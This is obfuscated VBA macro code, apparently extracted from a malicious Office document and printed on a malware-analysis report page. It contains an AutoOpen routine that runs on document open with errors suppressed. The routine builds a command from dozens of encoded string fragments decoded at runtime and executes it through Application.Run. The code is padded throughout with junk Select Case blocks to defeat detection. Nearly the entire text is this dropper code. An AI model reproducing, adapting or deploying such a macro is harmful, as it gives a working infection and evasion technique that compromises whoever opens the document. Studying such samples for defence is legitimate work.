uniPlkphCBn = UjvCSzj + GVtEt(")H%ldtgZAcDAmBAOAEDA3AgZAgDAiBgYAIGAzAwNAADAzAAZAMDAxAANAEDAlBQYAYGAhBAZAUGAlBgYAYDAyAQNAEDAmBANAgDAkBwNAIGAmBQZAIDA5AgNAIDA3AAZAYDAlBAMAcDAxAgYAEGAyAwMAcDAhBQMAQGAxAgYAIG7]@nNu3KT]_t83LzEip_sOP", 24, 165)
Select Case NNlcuX
Case 47436
ipiRJz = Fix(29975)
QldaI = Int(62486)
Case 22345
OjNinT = TAqEUI
KECfl = ChrW(BpHfSq)
End Select
Select Case kcfGa
Case 96179
DrAfC = Fix(92779)
Mkwuwz = Int(73841)
Case 53180
hpOhP = WcGbvF
XDKztv = ChrW(rGbbk)
End Select
FjIVGlSrwVn = UTImjB + GVtEt("o%LYC$0idj3WuYni3DAJ5iO#0AAMAEGAxAQNAg]Z6%4!H)i$7<zN", 15, 14)
Select Case kcfGa
Case 96179
DrAfC = Fix(92779)
Mkwuwz = Int(73841)
Case 53180
hpOhP = WcGbvF
XDKztv = ChrW(rGbbk)
End Select
Select Case NPikm
Case 42659
MdXBBY = Fix(18999)
SwfHj = Int(20660)
Case 30047
VFbSno = nGzwHY
ANPiwb = ChrW(SzzDi)
End Select
MuzOQREYwCp = tEqloj + GVtEt("378iLN%]i(xAQYAMGA0AgYAEGA3AgMAIDA4AgYAYGAlBQMAUGAlBQMAMGAwAQOAUGAmBQZAYDAkBQYAYGA0AAMAYGA1AgNAUGAhHUj13mLE7i)dAi3", 16, 89)
Select Case NPikm
Case 42659
MdXBBY = Fix(18999)
SwfHj = Int(20660)
Case 30047
VFbSno = nGzwHY
ANPiwb = ChrW(SzzDi)
End Select
Select Case PvTzh
Case 88203
FspGOC = Fix(74750)
ZNuil = Int(67687)
Case 86343
cJWST = VdVmu
wlVzBN = ChrW(NusDpV)
End Select
oUBrH = BLUUw + GVtEt("JLq#N7 AMAQGA5AQOAUGA5AAMAMDA5AANAMGAkBwYAQGAiBwNAADA4AwYAEGAlBgNAUGA0AgZAUGAjBAOAkDAhBgNAUGA4AgNAMGAwAgMAQDA4AQOAUDA2AgMjJAYA]otTo8z]U", 15, 114)
Select Case PvTzh
Case 88203
FspGOC = Fix(74750)
ZNuil = Int(67687)
Case 86343
cJWST = VdVmu
wlVzBN = ChrW(NusDpV)
End Select
Select Case Mzzdp
Case 45935
MIoilj = Fix(70244)
IwwhcP = Int(76016)
Case 69224
WLdwJ = jLDqX
jwWaE = ChrW(ziRYY)
End Select
cTEtY = aGIVcnW + GVtEt("YLkBgYAMDAzAQYAMGA5AQMAkDA2AAOAIDA4AgNAYGA1AgYAYDAwAQMAMDA5AAMAQDAwAAOAIGAjBwNAQDA4AwYAQGAxAwNAIGAwAgMAYGAxAwNAUDA5AQMAUDAjBQZAADAkBQYAMGA5AQOAQDAlBQMAkDA3AwMAYGAxAgNAgDA0AAZAIGA3AQZAYGAE6iP7F4]@MtA<Rj", 16, 184)
Select Case Mzzdp
Case 45935
MIoilj = Fix(70244)
IwwhcP = Int(76016)
Case 69224
WLdwJ = jLDqX
jwWaE = ChrW(ziRYY)
End Select
Select Case KCiRU
Case 10772
TqHnpr = Fix(93682)
WoZLN = Int(38313)
Case 49480
aPNYZ = zGhlr
azMJor = ChrW(LinfX)
End Select
RuEQdwIdi = crKalf + GVtEt(".3cLo7cB81E<sbzZnT<UE8ivgDA4AQOAQDAlBQZAEDAyAAOAYGA1AANAUDAhBgYAIDAmBQOAMDAhBgNAYDA4AgZAQDA5AAMAEDAxAQYAADA1AAMAkDAlBgZAIGA0AgYAgDAkBwNAEDAwAwMAgDAhBAQ", 2, 126)
Select Case KCiRU
Case 10772
TqHnpr = Fix(93682)
WoZLN = Int(38313)
Case 49480
aPNYZ = zGhlr
azMJor = ChrW(LinfX)
End Select
Select Case zmiFt
Case 78010
lmNcp = Fix(94172)
mIuYKh = Int(71929)
Case 23703
luBBQ = GHAVL
kYaPD = ChrW(mpjUZc)
End Select
jUHzw = wiBRAw + GVtEt("46I](hgNAYGAzAwYAIDA5AQYAEDAjBgNAQDAmBQZAgDAiBgMAYGA4AgNAgDAzAwYAQGA4AAMAEDAyAQZAQGAlBAOAcDAlBQMAIDAiBANAIDAiBQMAYGAkBgYAU_wLZ%mal1ib(ltQUXiHUONAY(wcNow3D", 33, 116)
Select Case zmiFt
Case 78010
lmNcp = Fix(94172)
mIuYKh = Int(71929)
Case 23703
luBBQ = GHAVL
kYaPD = ChrW(mpjUZc)
End Select
Select Case UKvBuo
Case 48398
pGqCvB = Fix(45434)
Bdqpt = Int(80951)
Case 84079
rniAN = uwziLb
mfconE = ChrW(iFIfNI)
End Select
mstEEfSMtAw = JqzaGV + GVtEt("(bU8]GP8697MY2AxAAZAEGAkBwYAYGAjBANAYGAkBwMAYGAxAgZAID8v_mcqEs88)%(ipNYiN", 20, 40)
Select Case UKvBuo
Case 48398
pGqCvB = Fix(45434)
Bdqpt = Int(80951)
Case 84079
rniAN = uwziLb
mfconE = ChrW(iFIfNI)
End Select
Select Case FPozd
Case 31193
jMcpf = Fix(78228)
QlfRo = Int(84108)
Case 4360
XHECBc = mUiQXh
bdLmtG = ChrW(OvfEb)
End Select
AcLQroGFJC = qzLGi + GVtEt("ONR%1iut47S6Aq(NAADA2AQOAEGAjBAZAIGA1AQZAkDAjBgNAQGA0AQOAUDAjBAOAkDAjBwYAADAxAQOAcDA5AANAQGAwAQYAgDA2AQNAQDAkBAMAcDA40r", 3, 102)
Select Case FPozd
Case 31193
jMcpf = Fix(78228)
QlfRo = Int(84108)
Case 4360
XHECBc = mUiQXh
bdLmtG = ChrW(OvfEb)
End Select
SastorjCqv = YvPWqCti + kDPoYEisjtbOb + IUaVYiiTdX + ChrW(34) + ZILORTYJCGBw + TqoRriXLKAW + DvpYQQ + LKtRYQBYPrj + EvnSKl + jhOkLKBmrC + AOJavRQuK + UYvwUiJw + uniPlkphCBn + EnGdLVVEHUd + SVpXbtZ + ZIcCrhM + ktcGqOzjo + jZnNrTSG + TIMwqdOR + oUBrH + sEvGcZqFRO + sDhAACjzAur + KPQQFuOOH + AJJdS + AcLQroGFJC + HQPoojzXHVz + mstEEfSMtAw + fNCLmz + RlcbwNSIMfw + OtrhhnIpFHm + FjIVGlSrwVn + cTEtY + dVJzXNP + dCjAjPFHqi + OwRrfiAJ + tisIQTWAk + NwcqItifbAr + MuzOQREYwCp + qNHUnHuw + zUiYpnbsfL + jUHzw + plWACZhpujl + RuEQdwIdi + iOjPP + UwQnnUX + dpIkbiiQbQ + KBouK + sQqQPZ + CQqUGSpimL + WLdTNLPYRYS + OSiFsZcVNk + XFnIP + zUuapi + WhQziWWjQ + hWcuaXtndm + JFoLoLHi + vEqjbWf
Select Case LIMZwa
Case 69972
jFprS = Fix(6005)
vjkYRV = Int(80474)
Case 12394
QmITbB = maISk
UcoqY = ChrW(DVWzQZ)
End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case SRkiw
Case 6812
KkPaP = Fix(13973)
bzADPu = Int(76403)
Case 84257
MinJti = isLRWZ
HHREpf = ChrW(nCOtF)
End Select
Select Case VwMNXa
Case 45389
zJuXb = Fix(75744)
hDpNBJ = Int(86393)
Case 92014
pwLjYj = PoFbj
wtvBQH = ChrW(XjNsdG)
End Select
Application.Run "GwIZQaJLmNual", SastorjCqv
Select Case YfEUcC
Case 28270
ZOozT = Fix(70807)
jWMzBF = Int(92430)
Case 34425
slzaJl = GSjzj
lwjRaU = ChrW(NQnNsw)
End Select
Select Case jjFtcN
Case 8837
rFoOnv = Fix(65397)
mlvzlN = Int(32078)
Case 67494
bklcwk = MunaNm
WfKHb = ChrW(MjmfjA)
End Select
Select Case zzESPV
Case 29999
dSwtU = Fix(12139)
tIHTz = Int(29155)
Case 48071
bGpFS = wFszIk
pUKrX = ChrW(sMLNG)
End Select
End Sub
Attribute VB_Name = "KniXPAMYdd"
Function IUaVYiiTdX()
On Error Resume Next
Select Case GSqmw
Case 70405
wSwAAi = Fix(77310)
TASdJ = Int(27743)
Case 50938
CLusrq = NWvIu
JopiU = ChrW(czziZ)
End Select
KbliQlMHs = GhJFW + GVtEt("8EW%%!=%Li]%UT[)84itOYS1T", 16, 6)
Select Case GSqmw
Case 70405
wSwAAi = Fix(77310)
TASdJ = Int(27743)
Case 50938
CLusrq = NWvIu
JopiU = ChrW(czziZ)
End Select
Select Case mwpaRp
Case 27339
jpFMKi = Fix(67062)
SLSPA = Int(21800)
Case 20231
zmNFA = kQDqjZ
WqLWJS = ChrW(dzwAL)
End Select
NXvsuq = qQLMKQu + GVtEt("$UJ7)!8mn0191LBGH<5aS% tes&&p=%sItD)3iL5]]]PJ", 11, 16)
Select Case mwpaRp
Case 27339
jpFMKi = Fix(67062)
SLSPA = Int(21800)
Case 20231
zmNFA = kQDqjZ
WqLWJS = ChrW(dzwAL)
End Select
Select Case TTFzv
Case 39302
bEamh = Fix(4990)
NatXzh = Int(96789)
Case 50725
jDmnNI = zpFJG
dmpiHu = ChrW(aOjmj)
End Select
kpbPQAjj = fmjla + GVtEt("Uzl##$pScwmiTEM", 3, 5)
Select Case TTFzv
Case 39302
bEamh = Fix(4990)
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.